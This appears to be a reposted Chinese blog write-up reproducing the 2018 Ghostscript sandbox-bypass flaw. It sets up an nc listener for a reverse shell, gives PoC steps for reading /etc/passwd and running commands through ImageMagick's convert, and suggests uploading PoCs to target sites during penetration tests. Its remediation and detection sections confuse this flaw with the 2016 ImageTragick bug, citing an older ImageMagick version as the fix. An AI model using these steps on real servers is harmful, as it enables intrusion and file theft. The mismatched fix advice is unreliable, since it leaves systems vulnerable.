漏洞信息
项目 | 描述 |
---|---|
漏洞名称 | GhostScript 沙箱绕过(命令执行)漏洞 |
漏洞作者 | Tavis Ormandy |
CVE编号 | 暂未分配 |
漏洞描述 | 攻击者利用此漏洞可以上传恶意构造的图像文件,当目标服务器在对图像进行裁剪、转换等处理时即会执行攻击者指定的命令。 |
影响范围 | <= 9.23(全版本,全平台) |
披露时间 | 2018-08-21 |
复现环境
- OS:Ubuntu 14.10
- Ghostscript version:9.23(当下最新版本)
- Imagemagic version:7.0.8(当下最新版本)
环境搭建
安装Ghostscript
1 | c0ny1@Ubuntu ~$ cd /usr/local |
安装Imagemagic
1 | c0ny1@Ubuntu /usr/local$ wget https://github.com/ImageMagick/ImageMagick/archive/7.0.8-9.tar.gz |
漏洞验证
检测脚本
1 | $ git clone https://github.com/ImageTragick/PoCs.git |
在自己服务器(此处演示为103.21.140.84)上开启监听端口7890
1 | $ nc -vvl 7890 |
将以下保存为test.jpg,上传到对应图片处理处。
1 | push graphic-context |
在自己服务器(此处演示为103.21.140.84)上查看是否有反弹SHELL
读文件
读取/etc/passwd文件内容的poc:
1 | /FileToSteal (/etc/passwd) def |
将以上poc保存为poc.ps文件,并执行以下命令。
1 | gs -q -sDEVICE=ppmraw -dSAFER poc.ps |
命令执行
ubuntu poc:
1 | %!PS |
centos poc:
1 | %!PS |
这里我们是linux是Ubuntu发行版,故选择第一个poc进行测试。将以上poc保存为poc.jpg文件,并执行以下命令,测试对恶意图片文件进行格式转换。
1 | /usr/local/bin/convert poc.jpg poc.jpg |
注意: 漏洞作者的《More Ghostscript Issues: Should we disable PS coders in policy.xml by default?》这篇文章里的convert命令不是ghostscript的,而是它的上游应用。可以是imagemagick,也可以是graphicsmagick。经过测试两个软件的convert命令都存在漏洞,我们这里复测的事imagemagick。
修复方式
升级ImageMagick至最新的2016-05-09 7.0.1-3版本。
如果无法快速升级,先临时做好以下两点:
- 处理图片前,先检查图片的magic bytes,也就是图片头,如果图片头不是你想要的格式,那么就不调用ImageMagick处理图片。如果你是php用户,可以使用getimagesize函数来检查图片格式,而如果你是wordpress等web应用的使用者,可以暂时卸载ImageMagick,使用php自带的gd库来处理图片。
- 使用policy file来防御这个漏洞,这个文件默认位置在 /etc/ImageMagick/policy.xml ,我们通过配置如下的xml来禁止解析https等敏感操作:
1 | <policymap> |
总结
ghostscript的上游应用有imagemagick,libmagick,graphicsmagick,gimp,python-matplotlib,texlive-core,texmacs,latex2html,latex2rtf等,其中ImageMagick受该漏洞影响最为严重。有相当多的网站,博客,媒体平台和流行的CMS(WordPress,Drupal等)在使用ImageMagick来进行图像处理。 故在日常渗透测试中,可以上传带有dnslog测试的poc,来测试目标网站是否存在该漏洞。
参考文章
- https://github.com/vulhub/vulhub/tree/master/ghostscript/9.23-rce
- More Ghostscript Issues: Should we disable PS coders in policy.xml by default?
- imagemaick的ghost script RCE漏洞
转自: